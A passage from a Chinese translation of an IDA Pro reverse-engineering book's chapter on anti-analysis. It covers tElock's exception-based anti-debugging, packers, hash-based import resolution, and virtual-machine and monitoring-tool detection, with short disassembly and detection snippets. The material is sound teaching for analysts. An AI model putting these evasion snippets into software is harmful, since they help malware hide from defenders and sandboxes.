.shrink:0041D08D nop
.shrink:0041D08E mov eax, eax
.shrink:0041D090 stc
.shrink:0041D091 nop
.shrink:0041D092 lea eax, ds:1234h[ebx*2]
.shrink:0041D099 clc
.shrink:0041D09A nop
.shrink:0041D09B shr ebx, 5
.shrink:0041D09E cld
.shrink:0041D09F nop
.shrink:0041D0A0 rol eax, 7
.shrink:0041D0A3 nop
.shrink:0041D0A4 nop
.shrink:0041D0A5 xor ebx, ebx
.shrink:0041D0A7 div ebx ; Divide by zero
.shrink:0041D0A9 pop dword ptr fs:0


序列首先通过调用下一个指令 ![`atomoreilly.com/source/no_starch_images/854061.png`](http://atomoreilly.com/source/no_starch_images/854061.png) 来开始;调用指令将 `0041D07F` 作为返回地址压入堆栈,然后立即从堆栈弹出并进入 EBP 寄存器 ![`atomoreilly.com/source/no_starch_images/854063.png`](http://atomoreilly.com/source/no_starch_images/854063.png)。接下来 ![http://atomoreilly.com/source/no_starch_images/854093.png],将 EAX 寄存器设置为 EBP 和 `46h` 的和,即 `0041D0C5`,然后将此地址压入堆栈 ![http://atomoreilly.com/source/no_starch_images/854095.png] 作为异常处理函数的地址。异常处理程序的其余设置在 ![`atomoreilly.com/source/no_starch_images/854099.png`](http://atomoreilly.com/source/no_starch_images/854099.png) 和 ![http://atomoreilly.com/source/no_starch_images/854101.png] 进行,这完成了将新的异常处理程序链接到由 `fs:[0]` 引用的现有异常处理程序链的过程。^([153]) 下一步是故意生成一个异常 ![`atomoreilly.com/source/no_starch_images/854103.png`](http://atomoreilly.com/source/no_starch_images/854103.png),在这种情况下是一个 `int 3`,这是一个软件陷阱(中断)到调试器。在 x86 程序中,`int 3` 指令被调试器用来实现软件断点。通常在这种情况下,连接的调试器将获得控制权;实际上,如果连接了调试器,它将首先有机会处理异常,认为它是一个断点。在这种情况下,程序完全期望处理异常,因此必须指示任何连接的调试器将异常传递给程序。如果程序无法处理异常,可能会导致操作不正确,甚至可能使程序崩溃。如果不了解如何处理 `int 3` 异常,就无法知道在这个程序中接下来可能发生什么。如果我们假设执行在 `int 3` 后简单地继续,那么似乎指令 ![`atomoreilly.com/source/no_starch_images/854133.png`](http://atomoreilly.com/source/no_starch_images/854133.png) 和 ![http://atomoreilly.com/source/no_starch_images/854135.png] 最终会触发除以零异常。

与前面代码关联的异常处理程序从地址 `0041D0C5` 开始。此函数的前部分如下所示:

.shrink:0041D0C5 sub_41D0C5 proc near ; DATA XREF: .stack:0012FF9C↑o
.shrink:0041D0C5
.shrink:0041D0C5 pEXCEPTION_RECORD = dword ptr 4
.shrink:0041D0C5 arg_4 = dword ptr 8
.shrink:0041D0C5 pCONTEXT = dword ptr 0Ch
.shrink:0041D0C5
.shrink:0041D0C5 mov eax, [esp+pEXCEPTION_RECORD]
.shrink:0041D0C9 mov ecx, [esp+pCONTEXT] ; Address of SEH CONTEXT
.shrink:0041D0CD inc [ecx+CONTEXT._Eip] ; Modify saved eip
.shrink:0041D0D3 mov eax, [eax] ; Obtain exception type
.shrink:0041D0D5 cmp eax, EXCEPTION_INT_DIVIDE_BY_ZERO
.shrink:0041D0DA jnz short loc_41D100
.shrink:0041D0DC inc [ecx+CONTEXT._Eip] ; Modify eip again
.shrink:0041D0E2
xor eax, eax ; Zero x86 debug registers
.shrink:0041D0E4 and [ecx+CONTEXT.Dr0], eax
.shrink:0041D0E7 and [ecx+CONTEXT.Dr1], eax
.shrink:0041D0EA and [ecx+CONTEXT.Dr2], eax
.shrink:0041D0ED and [ecx+CONTEXT.Dr3], eax
.shrink:0041D0F0 and [ecx+CONTEXT.Dr6], 0FFFF0FF0h
.shrink:0041D0F7 and [ecx+CONTEXT.Dr7], 0DC00h
.shrink:0041D0FE jmp short locret_41D160


异常处理函数的第三个参数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 是指向 Windows `CONTEXT` 结构(在 Windows API 头文件 *winnt.h* 中定义)的指针。`CONTEXT` 结构初始化为异常发生时所有 CPU 寄存器的内容。异常处理程序有机会检查,如果需要,修改 `CONTEXT` 结构的内容。如果异常处理程序认为它已经纠正了导致异常的问题,它可以通知操作系统允许有问题的线程继续。此时,操作系统从提供给异常处理程序的 `CONTEXT` 结构中重新加载线程的 CPU 寄存器,线程的执行就像什么都没发生过一样继续。

在前面的例子中,异常处理程序首先访问线程的 `CONTEXT` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 以增加指令指针 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png),从而跳过产生异常的指令。接下来,检索异常的类型代码(在提供的 `EXCEPTION_RECORD` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 中的一个字段)以确定异常的性质。这部分异常处理程序通过将所有 x86 硬件调试寄存器清零 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png) 来处理前面例子中生成的除以零错误 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png)。在不检查 tElock 代码其余部分的情况下,不清楚为什么调试寄存器会被清除。在这种情况下,tElock 正在清除之前操作中使用的调试寄存器设置的四个断点以及之前看到的 `int 3`。除了混淆程序的真正流程外,清除或修改 x86 调试寄存器可能会对 OllyDbg 或 IDA 自身内部调试器等软件调试器造成破坏。这类反调试技术将在 反动态分析技术 中讨论。

### 指令码混淆

尽管到目前为止所描述的技术可能——事实上,其目的是——为理解程序的流程提供障碍,但没有任何一种技术能阻止你观察你正在分析程序的正确反汇编形式。去同步对反汇编的影响最大,但通过重新格式化反汇编以反映正确的指令流,它很容易被克服。

防止正确反汇编的一个更有效的方法是在创建可执行文件时对实际指令进行编码或加密。混淆后的指令对 CPU 无用,必须在 CPU 取出执行之前将其解混淆回原始形式。因此,程序中至少有一部分必须保持未加密状态,以便作为启动例程,在混淆程序的情况下,通常负责解混淆程序剩余部分或全部。图 21-1 展示了混淆过程的非常通用的概述。图 21-1。

![通用混淆过程](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854316.png)

图 21-1. 通用混淆过程

如所示,该过程的输入是一个用户出于某种原因希望混淆的程序。在许多情况下,输入程序是使用标准编程语言和构建工具(编辑器、编译器等)编写的,对即将到来的混淆几乎没有考虑。生成的可执行文件被输入到混淆工具中,该工具将二进制文件转换为功能等效但已混淆的二进制文件。如图所示,混淆工具负责混淆原始程序的代码和数据部分,并添加额外的代码(解混淆占位符),在原始功能可以在运行时访问之前执行解混淆代码和数据。混淆工具还修改程序头,将程序入口点重定向到解混淆占位符,确保执行从解混淆过程开始。解混淆后,执行通常转移到原始程序的入口点,程序开始执行,就像它从未被混淆过一样。

这个过于简化的过程根据用于创建混淆二进制文件的混淆实用程序而大相径庭。可用的混淆处理工具数量不断增加。这些实用程序提供从压缩到反汇编和反调试技术的各种功能。例如,包括 UPX^([155])(压缩器,也适用于 ELF)、ASPack^([156])(压缩器)、ASProtect(由 ASPack 制造商提供的反逆向工程)和 tElock^([157])(压缩和反逆向工程)用于 Windows PE 文件,以及 Burneye^([158])(加密)和 Shiva^([159])(加密和反调试)用于 Linux ELF 二进制文件。混淆实用程序的能力已经发展到一些反逆向工程工具(如 WinLicense^([160]))在整个构建过程中提供更多集成的程度,允许程序员在从源代码到编译二进制文件的后期处理每个步骤中集成反逆向工程功能。

在混淆程序的世界中,最近的一个演变趋势是将原始的可执行文件包裹在一个虚拟机执行引擎中。根据虚拟化混淆器的复杂程度,原始的机器代码可能永远不会直接执行;相反,该代码由一个面向字节码的虚拟机进行解释。非常复杂的虚拟化器能够在每次运行时生成独特的虚拟机实例,这使得创建一个通用的反混淆算法来击败它们变得困难。VMProtect^([161]) 是一个虚拟化混淆器的例子。VMProtect 被用来混淆 Clampi^([162]) 木马。

就像任何攻击性技术一样,为了对抗许多反逆向工程工具,已经开发出了防御措施。在大多数情况下,这些工具的目标是恢复原始的、未受保护的执行文件(或合理的复制品),然后可以使用更传统的工具(如反汇编器和调试器)进行分析。一个专门设计用来反混淆 Windows 可执行文件的工具叫做 QuickUnpack.^([163])。QuickUnpack,就像许多其他自动化解包器一样,通过充当调试器来工作,允许混淆的二进制文件通过其反混淆阶段执行,并从内存中捕获进程映像。请注意,这类工具实际上在希望拦截程序在解包或反混淆之后、但在它们有机会进行恶意操作之前执行潜在恶意程序。因此,您应该始终在沙盒环境中执行此类程序。

使用纯静态分析环境分析混淆代码是至多具有挑战性的任务。在无法执行解混淆占位符的情况下,在开始解混淆代码的解汇编之前,必须采用某种解包或解密二进制文件混淆部分的方法。图 21-2 显示了使用 UPX 打包的可执行文件的布局。IDA 识别为代码的唯一地址空间部分是 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 的细条带,这恰好是 UPX 解压缩占位符。

![使用 UPX 打包的二进制文件的 IDA 导航带](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854318.png.jpg)

图 21-2. 使用 UPX 打包的二进制文件的 IDA 导航带

检查地址空间的内容将揭示在 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 的左侧有空白空间,在 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 之间区域有看似随机的数据。这些随机数据是 UPX 压缩过程的结果,解压缩占位符的任务是将这些数据解包到导航带左侧的空白区域,然后在最终将控制权传递给解包的代码之前。请注意,导航带的不寻常外观可能是这种二进制文件被以某种方式混淆的潜在提示。实际上,在用 IDA 查看混淆的二进制文件时,通常会突出显示一些东西。以下是一些表明二进制文件被混淆的潜在提示:

+   导航带中高亮的代码非常少。

+   在函数窗口中列出的函数非常少。通常只会出现 `start` 函数。

+   在导入窗口中列出的导入函数非常少。

+   在字符串窗口(默认情况下未打开)中,可辨认的字符串非常少。通常情况下,只能看到少数导入的库和函数的名称。

+   一个或多个程序部分将是可写和可执行的。

+   使用非标准部分名称,如 `UPX0` 或 `.shrink`。

沙箱环境

反向工程中沙箱环境的目的在于允许你在一种方式下执行程序,这种方式允许观察程序的行为,同时不允许这种行为对你的逆向工程平台的关键组件产生不利影响。沙箱环境通常使用平台虚拟化软件(如 VMware)构建,^([164]) 但它们也可以在执行任何恶意软件后能够恢复到已知良好状态的专用系统上构建。

沙盒系统的常见特征是它们通常被大量仪器化,以便观察和收集在沙盒中运行的程序的行为信息。收集的数据可能包括有关程序文件系统活动、(Windows) 程序注册表活动以及程序生成的任何网络活动信息。

导航带中显示的信息可以与二进制中每个段的属性相关联,以确定每个显示的信息是否一致。此二进制的段列表如下所示:

Name Start End R W X D L Align Base Type Class
UPX0 00401000 00407000 R W X . L para 0001 public CODE
UPX1 00407000 00409000 R W X . L para 0002 public CODE
UPX2 00409000 0040908C R W . . L para 0003 public DATA
.idata 0040908C 004090C0 R W . . L para 0003 public XTRN
UPX2 004090C0 0040A000 R W . . L para 0003 public DATA


在这种情况下,包含段 `UPX0` ![图片](http://atomoreilly.com/source/nostarch/images/854061.png) 和段 `UPX1` ![图片](http://atomoreilly.com/source/nostarch/images/854063.png) (`00401000-00409000`) 的整个地址范围被标记为可执行(设置了 `X` 标志)。鉴于这一事实,我们应该期望看到整个导航带被着色以表示代码。我们没有看到这一点,加上检查发现 `UPX0` 的整个范围都是空的,应该被视为高度可疑。在 IDA 中,`UPX0` 的部分标题包含以下行:

UPX0:00401000 ; Section 1. (virtual address 00001000)
UPX0:00401000 ; Virtual size : 00006000 ( 24576.)
UPX0:00401000 ;Section size in file : 00000000 ( 0.)
UPX0:00401000 ; Offset to raw data for section: 00000200
UPX0:00401000 ;Flags E0000080: Bss Executable Readable Writable


在[使用 IDA 在静态环境中执行解压缩操作的技术](https://wiki.example.org/ch21s03.html "使用 IDA 在静态环境中执行解压缩操作的技术")中讨论了使用 IDA 进行二进制静态去混淆的方法([Static De-obfuscation of Binaries Using IDA](https://wiki.example.org/ch21s03.html "Static De-obfuscation of Binaries Using IDA))。

## 导入函数混淆

为了避免泄露关于二进制可能执行的操作的信息,一种额外的反静态分析技术旨在使确定在混淆的二进制中使用的共享库和库函数变得困难。在大多数情况下,可以使 `dumpbin`、`ldd` 和 `objdump` 等工具在列出库依赖关系方面失效。

这种混淆对 IDA 的影响在导入窗口中最为明显。我们之前 tElock 示例的导入窗口的全部内容如下所示:

Address Ordinal Name Library
0041EC2E GetModuleHandleA kernel32
0041EC36 MessageBoxA user32


仅引用了两个外部函数,`GetModulehandleA`(来自`kernel32.dll`)和`MessageBoxA`(来自`user32.dll`)。从这个简短的列表中几乎无法推断出程序的行为。那么这样的程序是如何完成任何有用的工作的呢?在这里,技术多种多样,但本质上归结为程序本身必须加载它所依赖的任何附加库,一旦库被加载,程序必须在那些库中定位所需的函数。在大多数情况下,这些任务是由解混淆存根在将控制权传递给解混淆程序之前执行的。最终目标是确保程序的导入表已经正确初始化,就像是由操作系统的自身加载器执行的过程一样。

对于 Windows 可执行文件,一种简单的方法是使用`LoadLibrary`函数通过名称加载所需的库,然后使用`GetProcAddress`函数在每个库中执行函数地址查找。为了使用这些函数,程序必须明确链接到它们或具有查找它们的替代方法。tElock 示例的名称列表不包括这两个函数,而此处显示的 UPX 示例的名称列表包括这两个函数。

Address Ordinal Name Library
0040908C LoadLibraryA KERNEL32
00409090 GetProcAddress KERNEL32
00409094 ExitProcess KERNEL32
0040909C RegCloseKey ADVAPI32
004090A4 atoi CRTDLL
004090AC ExitWindowsEx USER32
004090B4 InternetOpenA WININET
004090BC recv wsock32


负责重建导入表的实际 UPX 代码显示在示例 21-1 中。

示例 21-1. UPX 中的导入表重建

UPX1:0040886C loc_40886C: ; CODE XREF: start+12E↓j
UPX1:0040886C mov eax, [edi]
UPX1:0040886E or eax, eax
UPX1:00408870 jz short loc_4088AE
UPX1:00408872 mov ebx, [edi+4]
UPX1:00408875 lea eax, [eax+esi+8000h]
UPX1:0040887C add ebx, esi
UPX1:0040887E push eax
UPX1:0040887F add edi, 8
UPX1:00408882 call dword ptr [esi+808Ch] ; LoadLibraryA
UPX1:00408888 xchg eax, ebp
UPX1:00408889
UPX1:00408889 loc_408889: ; CODE XREF: start+146↓j
UPX1:00408889 mov al, [edi]
UPX1:0040888B inc edi
UPX1:0040888C or al, al
UPX1:0040888E jz short loc_40886C
UPX1:00408890 mov ecx, edi
UPX1:00408892 push edi
UPX1:00408893 dec eax
UPX1:00408894 repne scasb
UPX1:00408896 push ebp
UPX1:00408897 call dword ptr [esi+8090h] ; GetProcAddress
UPX1:0040889D or eax, eax
UPX1:0040889F jz short loc_4088A8
UPX1:004088A1 mov [ebx], eax ; Save to import table
UPX1:004088A3 add ebx, 4
UPX1:004088A6 jmp short loc_408889


此示例包含一个外循环,用于调用`LoadLibraryA`^([165]) ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),以及一个内循环,用于调用`GetProcAddress` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。在每次成功调用`GetProcAddress`之后,新检索到的函数地址被存储到重建的导入表中 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。

这些循环作为 UPX 解混淆存根的最后部分执行,因为每个函数都接受指向库名称或函数名称的字符串指针参数,并且相关的字符串被保存在压缩数据区域中,以避免被`strings`实用程序检测。因此,在所需的字符串被解压缩之前,UPX 中的库加载无法进行。

回到 tElock 的例子,出现了一个不同的问题。只有两个导入函数,都不是`LoadLibraryA`或`GetProcAddress`,tElock 工具如何执行 UPX 所执行的功能解析任务?所有 Windows 进程都依赖于`kernel32.dll`,这意味着它在所有进程中都存在于内存中。如果一个程序可以定位到`kernel32.dll`,那么可以遵循一个相对直接的过程来定位 DLL 中的任何函数,包括`LoadLibraryA`和`GetProcAddress`。正如之前所展示的,有了这两个函数,就可以加载进程所需的任何额外库,并定位那些库中的所有所需函数。在论文“理解 Windows Shellcode”中,Skape 讨论了执行这一任务的技术。虽然 tElock 没有使用 Skape 详细说明的精确技术,但有很多相似之处,最终效果是模糊了加载和链接过程的细节。如果不仔细追踪程序的指令,很容易忽略库的加载或函数地址的查找。以下是一个小代码片段,说明了 tElock 尝试定位`LoadLibraryA`地址的方式:

.shrink:0041D1E4 cmp dword ptr [eax], 64616F4Ch
.shrink:0041D1EA jnz short loc_41D226
.shrink:0041D1EC cmp dword ptr [eax+4], 7262694Ch
.shrink:0041D1F3 jnz short loc_41D226
.shrink:0041D1F5 cmp dword ptr [eax+8], 41797261h
.shrink:0041D1FC jnz short loc_41D226


很明显,几个比较是连续进行的。可能不太清楚的是这些比较的目的。重新格式化每个比较中使用的操作数,可以稍微揭示代码,如下所示:

.shrink:0041D1E4 cmp dword ptr [eax], 'daoL'
.shrink:0041D1EA jnz short loc_41D226
.shrink:0041D1EC cmp dword ptr [eax+4], 'rbiL'
.shrink:0041D1F3 jnz short loc_41D226
.shrink:0041D1F5 cmp dword ptr [eax+8], 'Ayra'
.shrink:0041D1FC jnz short loc_41D226


每个十六进制常量实际上是一系列四个 ASCII 字符,按照顺序(记住 x86 是一个小端处理器,我们需要按相反的顺序读取字符)拼写出`LoadLibraryA`。如果这三个比较都成功,那么 tElock 已经找到了`LoadLibraryA`的导出表条目,并且通过几个简短的操作,这个函数的地址将被获得并可用于加载额外的库。tElock 在函数查找方面的一个有趣特点是它对字符串分析有一定的抵抗力,因为直接嵌入程序指令中的 4 字节常量看起来不像更标准的 null 终止字符串,因此不会包含在 IDA 生成的字符串列表中。

在 UPX 和 tElock 的情况下,通过仔细分析程序代码手动重建程序导入表变得更容易,因为最终,它们都包含我们可以用来确定引用了哪些库和哪些函数的 ASCII 字符数据。Skape 的论文详细描述了一个函数解析过程,其中代码中根本不出现任何字符串。论文中讨论的基本思想是为每个需要解析的函数名称预先计算一个唯一的哈希值^([167])。为了解析每个函数,会在库的导出名称表中进行搜索。表中的每个名称都会进行哈希处理,得到的哈希值与预先计算的所需函数的哈希值进行比较。如果哈希值匹配,则找到了所需的函数,并且可以轻松地在库的导出地址表中找到其地址。为了静态分析以这种方式混淆的二进制文件,需要了解每个函数名称使用的哈希算法,并将该算法应用于程序正在搜索的库导出的所有名称。有了完整的哈希表,你将能够简单地查找程序中遇到的每个哈希值,以确定它引用的是哪个函数.^([168]) 为 kernel32.dll 生成的此类表的一部分可能看起来像这样:

GetProcAddress : 8A0FB5E2
GetProcessAffinityMask : B9756EFE
GetProcessHandleCount : B50EB87C
GetProcessHeap : C246DA44
GetProcessHeaps : A18AAB23
GetProcessId : BE05ED07


注意,哈希值是特定于特定二进制文件中使用的哈希函数的,并且可能因二进制文件而异。使用这个特定的表,如果在程序中遇到哈希值`8A0FB5E2` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),我们可以迅速确定程序正在尝试查找`GetProcAddress`函数的地址。

Skape 使用哈希值解析函数名称的方法最初是为 Windows 漏洞的利用有效载荷开发并记录的;然而,哈希值已经被用于混淆程序中。WinLicense 混淆工具就是利用这种哈希技术来伪装其行为的例子之一。

关于导入表的一个最后的说明是,有趣的是,IDA 有时能够提供一些线索,表明程序导入表可能有些不正常。混淆的 Windows 二进制文件通常有足够改变的导入表,以至于 IDA 会通知你这样的二进制文件似乎有些异常。图 21-3 显示了 IDA 在这种情况下显示的警告对话框。

![损坏的导入段警告对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854321.png.jpg)

图 21-3. 损坏的导入段警告对话框

此对话框提供了最早的迹象之一,表明二进制文件可能以某种方式被混淆,应作为警告,表明二进制文件可能难以分析。因此,在分析二进制文件时应小心行事。

## 对分析工具的针对性攻击

提及此类反逆向工程能力仅是因为它具有阻碍逆向工程努力的独特潜力。大多数逆向工程工具可以被视为高度专业的解析器,它们处理输入数据以提供某种总结信息或详细显示。作为软件,这些工具不会免受影响所有其他软件的相同类型漏洞的影响。具体来说,在处理用户提供的输入数据时,在某些情况下可能会导致可利用的条件。

除了我们之前讨论的技术之外,那些意图防止对其软件进行分析的程序员可能会选择一种更积极的反逆向工程形式。通过适当构建输入文件,可能创建一个既足够有效以正确执行又足够损坏以利用逆向工程工具漏洞的程序。虽然这种漏洞不常见,但已记录包括 IDA 中的漏洞.^([169]) 攻击者的目标是利用恶意软件可能最终被加载到 IDA 中的事实。至少,攻击者可能实现拒绝服务,导致 IDA 在创建数据库之前总是崩溃;或者,攻击者可能访问分析师的计算机及其相关网络。对这类攻击感到担忧的用户应考虑在沙盒环境中执行所有初始分析任务。例如,你可以在沙盒中运行 IDA 的副本以创建所有二进制文件的初始数据库。初始数据库(理论上不包含任何恶意功能)然后可以分发给其他分析师,他们无需接触原始二进制文件。

* * *

^([149]) Shaun Clowes 和 Neel Mehta 首次在 2003 年的 CanSecWest 上介绍了 Shiva。请参阅[`www.cansecwest.com/core03/shiva.ppt`](http://www.cansecwest.com/core03/shiva.ppt)。

^([150]) x86 的 `iret` 指令用于从中断处理例程返回。中断处理例程通常位于内核空间。

^([151]) 将**信号量**想象成一种必须在你手中才能进入房间执行某些动作的凭证。在你持有凭证期间,其他任何人不得进入房间。当你完成房间内的任务后,你可以离开并将凭证交给其他人,其他人随后可以进入房间并利用你已完成的工作(因为你已经不在房间内,所以你不会知道这一点!)信号量通常用于在程序中对代码或数据进行互斥锁的强制。

^([152]) 关于 Windows 结构化异常处理(SEH)的更多信息,请参阅 [`www.microsoft.com/msj/0197/exception/exception.aspx`](http://www.microsoft.com/msj/0197/exception/exception.aspx).

^([153]) Windows 将 FS 寄存器配置为指向当前线程环境块(TEB)的基址。TEB 中的第一个条目(偏移量为零)是一个指向异常处理函数链表的指针头,当在进程中引发异常时,会依次调用这些函数。

^([154]) 在 x86 中,调试寄存器 0 到 7(`Dr0`到`Dr7`)用于控制硬件辅助断点的使用。`Dr0`到`Dr3`用于指定断点地址,而`Dr6`和`Dr7`用于启用和禁用特定的硬件断点。

^([155]) 请参阅 [`upx.sourceforge.net/`](http://upx.sourceforge.net/).

^([156]) 请参阅 [`www.aspack.com/`](http://www.aspack.com/).

^([157]) 请参阅 [`www.softpedia.com/get/Programming/Packers-Crypters-Protectors/Telock.shtml`](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/Telock.shtml).

^([158]) 请参阅 [`www.packetstormsecurity.org/groups/teso/indexdate.html`](http://www.packetstormsecurity.org/groups/teso/indexdate.html).

^([159]) 请参阅 [`www.cansecwest.com/core03/shiva.ppt`](http://www.cansecwest.com/core03/shiva.ppt)(工具:[`www.securiteam.com/tools/5XP041FA0U.html`](http://www.securiteam.com/tools/5XP041FA0U.html))。

^([160]) 请参阅 [`www.oreans.com/winlicense.php`](http://www.oreans.com/winlicense.php).

^([161]) 请参阅 [`www.vmpsoft.com/`](http://www.vmpsoft.com/).

^([162]) 请参阅 [`www.symantec.com/connect/blogs/inside-jaws-trojanclampi`](http://www.symantec.com/connect/blogs/inside-jaws-trojanclampi).

^([163]) 请参阅 [`qunpack.ahteam.org/wp2/`](http://qunpack.ahteam.org/wp2/)(俄语)或 [`www.woodmann.com/collaborative/tools/index.php/Quick_Unpack`](http://www.woodmann.com/collaborative/tools/index.php/Quick_Unpack).

^([164]) 请参阅 [`www.vmware.com/`](http://www.vmware.com/).

^([165]) 许多接受字符串参数的 Windows 函数有两种版本:一种接受 ASCII 字符串,另一种接受 Unicode 字符串。这些函数的 ASCII 版本带有`A`后缀,而 Unicode 版本带有`W`后缀。

^([166]) 请参阅 [`www.hick.org/code/skape/papers/win32-shellcode.pdf`](http://www.hick.org/code/skape/papers/win32-shellcode.pdf),特别是第三章,“Shellcode 基础”,以及 3.3 节,“解析符号地址”。

^([167]) **哈希函数**是一种数学过程,它从任意大小的输入(例如字符串)中推导出一个固定大小的结果(例如 4 字节)。

^([168]) Hex-Rays 在此处讨论了 IDA 的调试能力来计算这些哈希值:[`www.hexblog.com/?p=93`](http://www.hexblog.com/?p=93)。

^([169]) 请参阅 [`web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0115`](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0115)。更多详细信息可在 [`labs.idefense.com/intelligence/vulnerabilities/display.php?id=189`](http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=189) 找到。

# 反动态分析技术

在过去几节中讨论的反静态分析技术对程序是否实际执行没有任何影响。事实上,虽然它们可能会使你难以仅使用静态分析技术理解程序的真实行为,但它们不能阻止程序执行,否则程序从一开始就变得无用,从而消除了分析程序的需要。

由于程序必须运行才能执行任何工作,动态分析旨在观察程序在运行时的行为(而不是在程序不运行时使用静态分析观察程序),本节简要总结了一些更常见的反动态分析技术。在大多数情况下,这些技术对静态分析工具的影响很小;然而,在存在重叠的地方,我们将指出这一点。我们将在第二十四章(“第二十四章。IDA 调试器”)开始讨论许多这些技术对 IDA 集成调试器的影响。

## 检测虚拟化

配置沙盒环境时最常见的选择之一是使用虚拟化软件,如 VMware,为恶意软件(或者,就其本身而言,任何其他感兴趣的软件)提供一个执行环境。这种环境的主要优势是它们通常提供检查点和回滚功能,这有助于快速将沙盒恢复到已知的干净状态。将这种环境作为沙盒基础的主要缺点是,对于程序来说,检测它是否在虚拟化环境中运行相当容易(特别是在 32 位 x86 平台上)。在假设虚拟化等同于观察的情况下,许多希望保持未被发现状态的程序一旦确定它们在虚拟机中运行,就会简单地选择关闭。

以下列表描述了一些在虚拟化环境中运行的程序所使用的技巧,这些技巧用于确定它们是在虚拟机中运行,而不是在原生硬件上。

**检测特定于虚拟化的软件**

用户经常在虚拟机内部安装辅助应用程序,以方便虚拟机与其宿主操作系统之间的通信,或者简单地提高虚拟机内的性能。VMware Tools 集合就是此类软件的一个例子。此类软件的存在很容易被虚拟机内部运行的程序检测到。例如,当 VMware Tools 安装到 Microsoft Windows 虚拟机中时,它会创建任何程序都可以读取的 Windows 注册表条目。在虚拟环境中运行恶意软件通常不需要 VMware Tools,并且不应安装以消除这种容易检测到的虚拟机痕迹。

**检测虚拟化特定的硬件**

虚拟机利用虚拟硬件抽象层来提供虚拟机与宿主机原生硬件之间的接口。虚拟硬件的特性通常很容易被虚拟机内部运行的软件检测到。例如,VMware 为其虚拟化网络适配器分配了自己的组织唯一标识符(OUI)^([170)以供使用。观察到 VMware 特定的 OUI 是程序在虚拟机内部运行的良好迹象。请注意,通常可以通过在宿主机上使用配置选项来修改分配给虚拟网络适配器的 MAC 地址。

**检测虚拟机特定的行为**

一些虚拟化平台包含后门式通信通道,以方便虚拟机与其宿主软件之间的通信。例如,以下五条线可以用来确定你是否在 VMware 虚拟机内部运行:^([171)

mov eax, 0x564D5868 ; 'VMXh'
mov ecx, 10
xor ebx, ebx
mov dx, 0x5658 ; 'VX'
in eax, dx


如果你在虚拟机内部,该序列将导致 EBX 寄存器包含值`0x564D5868`。如果你不在虚拟机内部,代码将根据所使用的宿主机操作系统导致异常或 EBX 没有变化。这个指令序列利用了 x86 `in` 指令 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 通常不在用户空间程序中使用或允许的事实;然而,在 VMware 中,这个指令序列可以用来测试 VMware 客户操作系统与其宿主机操作系统通信所使用的通道是否存在。这个通道由 VMware Tools 使用,例如,以促进主机操作系统和客户操作系统之间数据(如剪贴板内容)的交换。

**检测处理器特定的行为变化**

完美虚拟化是一个难以实现的目标。理想情况下,程序不应能够检测到虚拟化环境与原生硬件之间的任何差异。然而,这种情况很少发生。Joanna Rutkowska 在观察到 x86 `sidt`指令在原生硬件上的操作与在虚拟机环境中执行相同指令之间的行为差异后,开发了她的 redpill^([172]) VMware 检测技术。

虽然这不是关于该主题的第一篇论文,但 Tom Liston 和 Ed Skoudis^([173])的“On the Cutting Edge: Thwarting Virtual Machine Detection”提供了关于虚拟机检测技术的良好概述。

## 检测仪器

在创建您的沙盒环境之后,在执行您想要观察的任何程序之前,您需要确保已安装仪器,以便正确收集和记录您正在分析程序的行为信息。存在各种工具用于执行此类监控任务。两个广泛使用的例子包括来自微软 Sysinternals 组的 Process Monitor^([174))和 Wireshark.^([176)) Process Monitor 是一个能够监控与任何运行中的 Windows 进程相关的某些活动的实用程序,包括对 Windows 注册表和文件系统活动的访问。Wireshark 是一个网络数据包捕获和分析工具,常用于分析恶意软件生成的网络流量。

拥有足够偏执程度的恶意软件作者可能会编写软件来搜索此类监控程序的运行实例。技术范围从扫描已知与此类监控软件相关的进程名称的活跃进程列表,到扫描所有活跃 Windows 应用程序的标题栏文本以搜索已知字符串。可以进行更深入的搜索,一些软件甚至搜索与某些仪器软件中使用的 Windows GUI 组件相关的特定特征。例如,WinLicense 混淆/保护程序使用以下函数调用来尝试确定 Filemon(Process Monitor 的前身)实用程序是否正在执行:

if (FindWindow("FilemonClass", NULL)) {
